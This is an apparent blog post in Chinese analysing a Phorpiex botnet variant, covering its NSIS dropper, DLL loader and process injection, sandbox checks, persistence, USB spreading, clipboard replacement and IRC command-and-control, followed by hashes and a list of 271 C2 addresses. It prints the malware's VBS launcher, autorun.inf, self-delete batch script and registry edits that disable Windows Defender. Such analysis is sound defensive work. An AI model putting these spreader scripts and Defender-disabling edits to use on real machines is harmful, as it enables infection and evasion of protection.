一例Phorpiex僵尸网络变种的分析

概述

这是一例Phorpiex僵尸网络变种,通过NSIS打包,加载恶意dll(Flaminius.dll),读取dat文件(Preoral.dat),在内存解密并解压缩出一个Pe,创建同名傀儡进程并注入。通过可移动存储介质传播,通过IRC协议连接C2服务器,内嵌了271个c2地址,会检测沙箱,替换系统剪贴板内容。

样本的基本信息

文件大小: 126 KB (129,638 字节)
MD5: 9365b48827f3cb8197a848b5541e44dc
SHA1: 8ab949370c6ccff66610da3dbddafc828b12e3e7
SHA256: 0d3313a93ddc742908a4b2396ebfe1e080ef9c31d759fa552842aae9b4dbafe7
PE32
    安装程序: Nullsoft Scriptable Install System(3.0b1)[lzma,solid]
    链接程序: Microsoft Linker(6.0*)[GUI32]
    附加: Binary
        数据: NSIS data

是一个nsis打包的自解压程序,使用7zip 15.05 解压后如下,有3个目录

│  [NSIS].nsi
│  
├─$PLUGINSDIR
│      InstallOptions.dll
│      ioSpecial.ini
│      modern-header.bmp
│      modern-wizard.bmp
│      System.dll
│      
├─$TEMP
│      Flaminius.dll
│      Preoral.dat
│      
└─$_4_
    └─$_4_
            Uninstall.exe

[NSIS].nsi脚本中有一段,说明程序的入口在Flaminius.dll。

 SetOutPath $TEMP
 File Preoral.dat
 File Flaminius.dll
 System::Call Flaminius::Ninth

重点分析这个Flaminius.dll

第二阶段 加载器 Flaminius.dll

样本的基本信息

Flaminius.dll:
Verified:    Unsigned
Link date:    12:27 2016/9/2
Publisher:    n/a
Company:    Adobe Systems Incorporated
Description:    Adobe Setup
Product:    Adobe Setup
Prod version:    8,0,0,15
File version:    8,0,0,15
MachineType:    32-bit
MD5:    12DD13145E30FD83685161905E9A22B1
SHA1:    8822796E570D9D002A04610362A787CF410A3ACD

PE32
    编译器: EP:Microsoft Visual C/C++(6.0 (1720-8966))[DLL32]
    编译器: Microsoft Visual C/C++(6.0)[msvcrt]
    链接程序: Microsoft Linker(6.0*)[DLL32]


Preoral.dat:
Verified:    Unsigned
File date:    21:18 2017/11/20
MD5:    85F94AE59CC3C63B1FA621BBF7723F44
SHA1:    80B56BD65AEF79CAB4DE4E0C57BAC4BF0921F872

Flaminius.dll读取Preoral.dat的内容,在内存中解密,调用RtlDecompressBuffer函数解压后是一个pe,创建一个同名的傀儡进程,将这个pe注入其中。
使用OD动态调试,将这个pe dump出来分析。这个样本静态分析不太容易,其几乎所有的api都动态获取的。

第三阶段 解密解压后的pe

这个pe是病毒的主体,主要功能都在里头。
样本的基本信息

Verified:    Unsigned
Link date:    5:35 2017/11/19
MachineType:    32-bit
文件大小: 33.0 KB (33,792 字节 0x8400)
MD5:    35FFA90B7F75D4DB208436994BED3D3E
SHA1:    4BC8D1A3C0AD50FA3F07C86428F3CD33FCB7EC53
PE32
    编译器: EP:Microsoft Visual C/C++(6.0 (1720-9782))[EXE32]
    编译器: Microsoft Visual C/C++(2008 SP1)[msvcrt]
    链接程序: Microsoft Linker(9.0)[GUI32]
path:Cqoifh oiqhof qhoif oif8z8whfwh 8fho ehfoq hof hehue hb

使用IDA打开很容易分析明白。
首先检测当前环境是否在沙箱中。通过查询硬盘的ProductId中是否含有关键字qemu、virtual  、vmware、xen来判断当前环境是否为沙箱。

若是沙箱话,自毁并退出。自毁通过bat文件来实现,在临时目录下创建一个bat文件,文件名为10个字节的随机字符串。内容如下

:repeat
del "病毒路径"
if exist "病毒路径" goto repeat
del "C:\Users\ADMINI~1\AppData\Local\Temp\[随机10个字符].bat"

创建互斥量 t46,防双开。
删除文件 病毒路径:Zone.Identifier。(Zone.Identifier文件中的内容是一个文本文件,其中包含了有关下载文件的安全区域的信息。该信息主要用于确定下载文件的来源,并提供安全警告或限制性措施)。

首先感染系统,在系统中创建副本,路径为下面三个之一,目录M-505052074572749672056208574286582740540winmgr.exe文件。

%windir%\M-505052074572749672056208574286582740540\winmgr.exe
%userprofile%\M-505052074572749672056208574286582740540\winmgr.exe
%temp%\M-505052074572749672056208574286582740540\winmgr.exe

修改下列注册表项

添加防火墙策略
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List]
"%windir%\M-505052074572749672056208574286582740540\winmgr.exe" = "[%windir%\M-505052074572749672056208574286582740540\winmgr.exe]:*:Enabled:Microsoft Windows Manager"
在这个配置中,该应用程序被授权通过系统防火墙。具体的配置信息如下:
- `[%windir%\M-505052074572749672056208574286582740540\winmgr.exe]` 表示应用程序的路径。
- `*:Enabled` 表示开启所有协议(TCP和UDP)的授权。
- `Microsoft Windows Manager` 是说明或备注,表示这个应用程序是"Microsoft Windows Manager"。

添加开机启动项,启动项名为Microsoft Windows Manager
[HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run]
"Microsoft Windows Manager"="C:\\Windows\\M-505052074572749672056208574286582740540\\winmgr.exe"

禁用windows Defind
[HKEY_LOCAL_MACHINE\SYSTEM\\CurrentControlSet\\services\\WinDefend]
"Start" = 4

首先感染系统会运行系统中的副本,然后退出当前进程。
创建三个线程,执行恶意操作。主要是感染可移动存储介质和远程驱动器、替换剪贴板中的内容、通过IRC协议连接C2执行恶意操作。

下面详细讲一下这三个线程的功能。

感染可移动存储介质

在U盘的根目录下创建了三个文件(DeviceConfigManager.vbsautorun.inf.lnk),一个目录(_),只有.lnk文件是显示状态,其它文件都被隐藏了。


.lnk文件如下,其图标为驱动器图标,指向同目录下的DeviceConfigManager.vbs

DeviceConfigManager.vbs的内容如下,这是一个vbs文件,其中的变量名是随机生成的,其中还有一些混淆代码没有显示。这个vbs的功能是关闭当前窗口,并打开名为_的文件夹和_\DeviceConfigManager.exe文件。

...
Dim jllkhjaekeovdlz
Dim rhpsafddxaculbu
Dim imyhscwulsnrtpn
Set jllkhjaekeovdlz = wscript.CreateObject("WScript.Shell")
Set rhpsafddxaculbu = wscript.CreateObject("Scripting.FileSystemObject")
Set imyhscwulsnrtpn = wscript.CreateObject("Shell.Application")

'向系统发送键盘命令,具体是`%{F4}`,表示按下"Alt + F4"键组合,用于关闭当前窗口。
jllkhjaekeovdlz.SendKeys "%{F4}"

'若存在名为"_"的文件夹,打开该文件夹。
If rhpsafddxaculbu.FolderExists("_") Then
jllkhjaekeovdlz.Run "_"
End If

'若存在名为"\DeviceConfigManager.exe"的文件,以最大化方式打开该文件
If rhpsafddxaculbu.FileExists("_\DeviceConfigManager.exe") Then
jllkhjaekeovdlz.Run "_\DeviceConfigManager.exe", 2
End If

autorun.inf文件如下,其中有混淆的部分(未显示),这是一个自动运行脚本的标准autorun.inf文件,内容如下,这个autorun.inf文件的作用是在U盘插入计算机时自动运行U盘根目录下的"_\DeviceConfigManager.exe"文件,并设置U盘的图标为系统SHELL32.dll文件的第4个图标(文件夹图标)。同时启用了AutoPlay功能,用于实现病毒的自启动。

[autorun]
icon=%SystemRoot%\system32\SHELL32.dll,4
open=_\DeviceConfigManager.exe
UseAutoPlay=1

目录_下的为病毒的副本(DeviceConfigManager.exe)和原来U盘内的文件。

替换剪贴板的内容

根据以下规则替换系统剪贴板的文本内容

  • 首字母在为这些字母13B2XDE0L4PARrtz之一
  • 首字母为4或2,若长度为在90和115之间
  • 首字母不是4或2,若长度在25到45之间
  • 不含有O、I、l三个字符
  • 只含有字母和数字字符

若满足上面的条件,根据下面的规则替剪贴板中的内容。不知道其作用是啥。

连接C2地址

样本中内嵌了1个c2 IP和270个c2域名,见IOC部分。
会依次连接这些c2,若找到可用的c2地址后,使用IRC协议与C2通信,支持的IRC命令有PING、PONG、USER JOIN、NICK、PRIVMSG。

主要的功能有:

  • 自毁
  • 获取主机信息
  • 下载载荷执行,或更新自身
    首先通过访问http://api.wipmania.com/来获取当前的IP地域,与命令中区域信息比对。

    下载一个pe保存在临时目录下(文件名为随机的10位字符),执行。若有更新命令,退出当前进程。

IOC

hash
9365b48827f3cb8197a848b5541e44dc 原始样本 
12DD13145E30FD83685161905E9A22B1 加载器Flaminius.dll 
85F94AE59CC3C63B1FA621BBF7723F44 加密的载荷 Preoral.dat 
35FFA90B7F75D4DB208436994BED3D3E 注入傀儡进程的部分 

文件
主机中
%temp%\[随机10个字符].bat 自毁脚本
%windir%\M-505052074572749672056208574286582740540\winmgr.exe 病毒副本 
%userprofile%\M-505052074572749672056208574286582740540\winmgr.exe 病毒副本
%temp%\M-505052074572749672056208574286582740540\winmgr.exe 病毒副本
%temp%\[随机10个字符].exe 下载的载荷

U盘中
X:\DeviceConfigManager.vbs 启动病毒打开目录_
X:\autorun.inf 用于自启动
X:\.lnk 诱导用户点击的快捷方式
X:\_\DeviceConfigManager.exe 病毒母体

互斥量  t46

注册表
添加防火墙策略
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List]
"%windir%\M-505052074572749672056208574286582740540\winmgr.exe" = "[%windir%\M-505052074572749672056208574286582740540\winmgr.exe]:*:Enabled:Microsoft Windows Manager"
开机自启动
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Microsoft Windows Manager"="C:\\Windows\\M-505052074572749672056208574286582740540\\winmgr.exe"
关闭winDefind
[HKEY_LOCAL_MACHINE\SYSTEM\\CurrentControlSet\\services\\WinDefend]
"Start" = 4


网络
http://api.wipmania.com/ 用于的获取当前IP地域信息
c2
220.181.87.80:5050
rohgoruhgsorhugih.ru:5050
oeihefoeaboeubfuo.ru:5050
iapghahpnpnapcipa.ru:5050
oeabocbeogoaehgoi.ru:5050
ageihehaioeoaiegj.ru:5050
eghoabeogbuaeofua.ru:5050
siiifibiiegiiciib.ru:5050
aefobfboabobfaoua.ru:5050
abvainvienvaiebai.ru:5050
goiaegodbuebieibg.ru:5050
rohgoruhgsorhugih.su:5050
oeihefoeaboeubfuo.su:5050
iapghahpnpnapcipa.su:5050
oeabocbeogoaehgoi.su:5050
ageihehaioeoaiegj.su:5050
eghoabeogbuaeofua.su:5050
siiifibiiegiiciib.su:5050
aefobfboabobfaoua.su:5050
abvainvienvaiebai.su:5050
goiaegodbuebieibg.su:5050
rohgoruhgsorhugih.ws:5050
oeihefoeaboeubfuo.ws:5050
iapghahpnpnapcipa.ws:5050
oeabocbeogoaehgoi.ws:5050
ageihehaioeoaiegj.ws:5050
eghoabeogbuaeofua.ws:5050
siiifibiiegiiciib.ws:5050
aefobfboabobfaoua.ws:5050
abvainvienvaiebai.ws:5050
goiaegodbuebieibg.ws:5050
rohgoruhgsorhugih.in:5050
oeihefoeaboeubfuo.in:5050
iapghahpnpnapcipa.in:5050
oeabocbeogoaehgoi.in:5050
ageihehaioeoaiegj.in:5050
eghoabeogbuaeofua.in:5050
siiifibiiegiiciib.in:5050
aefobfboabobfaoua.in:5050
abvainvienvaiebai.in:5050
goiaegodbuebieibg.in:5050
rohgoruhgsorhugih.kz:5050
oeihefoeaboeubfuo.kz:5050
iapghahpnpnapcipa.kz:5050
oeabocbeogoaehgoi.kz:5050
ageihehaioeoaiegj.kz:5050
eghoabeogbuaeofua.kz:5050
siiifibiiegiiciib.kz:5050
aefobfboabobfaoua.kz:5050
abvainvienvaiebai.kz:5050
goiaegodbuebieibg.kz:5050
rohgoruhgsorhugih.nl:5050
oeihefoeaboeubfuo.nl:5050
iapghahpnpnapcipa.nl:5050
oeabocbeogoaehgoi.nl:5050
ageihehaioeoaiegj.nl:5050
eghoabeogbuaeofua.nl:5050
siiifibiiegiiciib.nl:5050
aefobfboabobfaoua.nl:5050
abvainvienvaiebai.nl:5050
goiaegodbuebieibg.nl:5050
rohgoruhgsorhugih.de:5050
oeihefoeaboeubfuo.de:5050
iapghahpnpnapcipa.de:5050
oeabocbeogoaehgoi.de:5050
ageihehaioeoaiegj.de:5050
eghoabeogbuaeofua.de:5050
siiifibiiegiiciib.de:5050
aefobfboabobfaoua.de:5050
abvainvienvaiebai.de:5050
goiaegodbuebieibg.de:5050
rohgoruhgsorhugih.fr:5050
oeihefoeaboeubfuo.fr:5050
iapghahpnpnapcipa.fr:5050
oeabocbeogoaehgoi.fr:5050
ageihehaioeoaiegj.fr:5050
eghoabeogbuaeofua.fr:5050
siiifibiiegiiciib.fr:5050
aefobfboabobfaoua.fr:5050
abvainvienvaiebai.fr:5050
goiaegodbuebieibg.fr:5050
rohgoruhgsorhugih.it:5050
oeihefoeaboeubfuo.it:5050
iapghahpnpnapcipa.it:5050
oeabocbeogoaehgoi.it:5050
ageihehaioeoaiegj.it:5050
eghoabeogbuaeofua.it:5050
siiifibiiegiiciib.it:5050
aefobfboabobfaoua.it:5050
abvainvienvaiebai.it:5050
goiaegodbuebieibg.it:5050
rohgoruhgsorhugih.at:5050
oeihefoeaboeubfuo.at:5050
iapghahpnpnapcipa.at:5050
oeabocbeogoaehgoi.at:5050
ageihehaioeoaiegj.at:5050
eghoabeogbuaeofua.at:5050
siiifibiiegiiciib.at:5050
aefobfboabobfaoua.at:5050
abvainvienvaiebai.at:5050
goiaegodbuebieibg.at:5050
rohgoruhgsorhugih.ua:5050
oeihefoeaboeubfuo.ua:5050
iapghahpnpnapcipa.ua:5050
oeabocbeogoaehgoi.ua:5050
ageihehaioeoaiegj.ua:5050
eghoabeogbuaeofua.ua:5050
siiifibiiegiiciib.ua:5050
aefobfboabobfaoua.ua:5050
abvainvienvaiebai.ua:5050
goiaegodbuebieibg.ua:5050
rohgoruhgsorhugih.be:5050
oeihefoeaboeubfuo.be:5050
iapghahpnpnapcipa.be:5050
oeabocbeogoaehgoi.be:5050
ageihehaioeoaiegj.be:5050
eghoabeogbuaeofua.be:5050
siiifibiiegiiciib.be:5050
aefobfboabobfaoua.be:5050
abvainvienvaiebai.be:5050
goiaegodbuebieibg.be:5050
rohgoruhgsorhugih.hu:5050
oeihefoeaboeubfuo.hu:5050
iapghahpnpnapcipa.hu:5050
oeabocbeogoaehgoi.hu:5050
ageihehaioeoaiegj.hu:5050
eghoabeogbuaeofua.hu:5050
siiifibiiegiiciib.hu:5050
aefobfboabobfaoua.hu:5050
abvainvienvaiebai.hu:5050
goiaegodbuebieibg.hu:5050
rohgoruhgsorhugih.ir:5050
oeihefoeaboeubfuo.ir:5050
iapghahpnpnapcipa.ir:5050
oeabocbeogoaehgoi.ir:5050
ageihehaioeoaiegj.ir:5050
eghoabeogbuaeofua.ir:5050
siiifibiiegiiciib.ir:5050
aefobfboabobfaoua.ir:5050
abvainvienvaiebai.ir:5050
goiaegodbuebieibg.ir:5050
rohgoruhgsorhugih.pl:5050
oeihefoeaboeubfuo.pl:5050
iapghahpnpnapcipa.pl:5050
oeabocbeogoaehgoi.pl:5050
ageihehaioeoaiegj.pl:5050
eghoabeogbuaeofua.pl:5050
siiifibiiegiiciib.pl:5050
aefobfboabobfaoua.pl:5050
abvainvienvaiebai.pl:5050
goiaegodbuebieibg.pl:5050
rohgoruhgsorhugih.es:5050
oeihefoeaboeubfuo.es:5050
iapghahpnpnapcipa.es:5050
oeabocbeogoaehgoi.es:5050
ageihehaioeoaiegj.es:5050
eghoabeogbuaeofua.es:5050
siiifibiiegiiciib.es:5050
aefobfboabobfaoua.es:5050
abvainvienvaiebai.es:5050
goiaegodbuebieibg.es:5050
rohgoruhgsorhugih.ro:5050
oeihefoeaboeubfuo.ro:5050
iapghahpnpnapcipa.ro:5050
oeabocbeogoaehgoi.ro:5050
ageihehaioeoaiegj.ro:5050
eghoabeogbuaeofua.ro:5050
siiifibiiegiiciib.ro:5050
aefobfboabobfaoua.ro:5050
abvainvienvaiebai.ro:5050
goiaegodbuebieibg.ro:5050
rohgoruhgsorhugih.lu:5050
oeihefoeaboeubfuo.lu:5050
iapghahpnpnapcipa.lu:5050
oeabocbeogoaehgoi.lu:5050
ageihehaioeoaiegj.lu:5050
eghoabeogbuaeofua.lu:5050
siiifibiiegiiciib.lu:5050
aefobfboabobfaoua.lu:5050
abvainvienvaiebai.lu:5050
goiaegodbuebieibg.lu:5050
rohgoruhgsorhugih.gr:5050
oeihefoeaboeubfuo.gr:5050
iapghahpnpnapcipa.gr:5050
oeabocbeogoaehgoi.gr:5050
ageihehaioeoaiegj.gr:5050
eghoabeogbuaeofua.gr:5050
siiifibiiegiiciib.gr:5050
aefobfboabobfaoua.gr:5050
abvainvienvaiebai.gr:5050
goiaegodbuebieibg.gr:5050
rohgoruhgsorhugih.md:5050
oeihefoeaboeubfuo.md:5050
iapghahpnpnapcipa.md:5050
oeabocbeogoaehgoi.md:5050
ageihehaioeoaiegj.md:5050
eghoabeogbuaeofua.md:5050
siiifibiiegiiciib.md:5050
aefobfboabobfaoua.md:5050
abvainvienvaiebai.md:5050
goiaegodbuebieibg.md:5050
rohgoruhgsorhugih.br:5050
oeihefoeaboeubfuo.br:5050
iapghahpnpnapcipa.br:5050
oeabocbeogoaehgoi.br:5050
ageihehaioeoaiegj.br:5050
eghoabeogbuaeofua.br:5050
siiifibiiegiiciib.br:5050
aefobfboabobfaoua.br:5050
abvainvienvaiebai.br:5050
goiaegodbuebieibg.br:5050
rohgoruhgsorhugih.net:5050
oeihefoeaboeubfuo.net:5050
iapghahpnpnapcipa.net:5050
oeabocbeogoaehgoi.net:5050
ageihehaioeoaiegj.net:5050
eghoabeogbuaeofua.net:5050
siiifibiiegiiciib.net:5050
aefobfboabobfaoua.net:5050
abvainvienvaiebai.net:5050
goiaegodbuebieibg.net:5050
rohgoruhgsorhugih.org:5050
oeihefoeaboeubfuo.org:5050
iapghahpnpnapcipa.org:5050
oeabocbeogoaehgoi.org:5050
ageihehaioeoaiegj.org:5050
eghoabeogbuaeofua.org:5050
siiifibiiegiiciib.org:5050
aefobfboabobfaoua.org:5050
abvainvienvaiebai.org:5050
goiaegodbuebieibg.org:5050
rohgoruhgsorhugih.com:5050
oeihefoeaboeubfuo.com:5050
iapghahpnpnapcipa.com:5050
oeabocbeogoaehgoi.com:5050
ageihehaioeoaiegj.com:5050
eghoabeogbuaeofua.com:5050
siiifibiiegiiciib.com:5050
aefobfboabobfaoua.com:5050
abvainvienvaiebai.com:5050
goiaegodbuebieibg.com:5050
rohgoruhgsorhugih.name:5050
oeihefoeaboeubfuo.name:5050
iapghahpnpnapcipa.name:5050
oeabocbeogoaehgoi.name:5050
ageihehaioeoaiegj.name:5050
eghoabeogbuaeofua.name:5050
siiifibiiegiiciib.name:5050
aefobfboabobfaoua.name:5050
abvainvienvaiebai.name:5050
goiaegodbuebieibg.name:5050
rohgoruhgsorhugih.info:5050
oeihefoeaboeubfuo.info:5050
iapghahpnpnapcipa.info:5050
oeabocbeogoaehgoi.info:5050
ageihehaioeoaiegj.info:5050
eghoabeogbuaeofua.info:5050
siiifibiiegiiciib.info:5050
aefobfboabobfaoua.info:5050
abvainvienvaiebai.info:5050
goiaegodbuebieibg.info:5050
rohgoruhgsorhugih.mobi:5050
oeihefoeaboeubfuo.mobi:5050
iapghahpnpnapcipa.mobi:5050
oeabocbeogoaehgoi.mobi:5050
ageihehaioeoaiegj.mobi:5050
eghoabeogbuaeofua.mobi:5050
siiifibiiegiiciib.mobi:5050
aefobfboabobfaoua.mobi:5050
abvainvienvaiebai.mobi:5050
goiaegodbuebieibg.mobi:5050

总结

这个样本使用了侧加载的技术,核心模块不落地,有检测沙箱的功能,通过IRC协议请求命令,很有代表性。

参考资料

  • 4
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值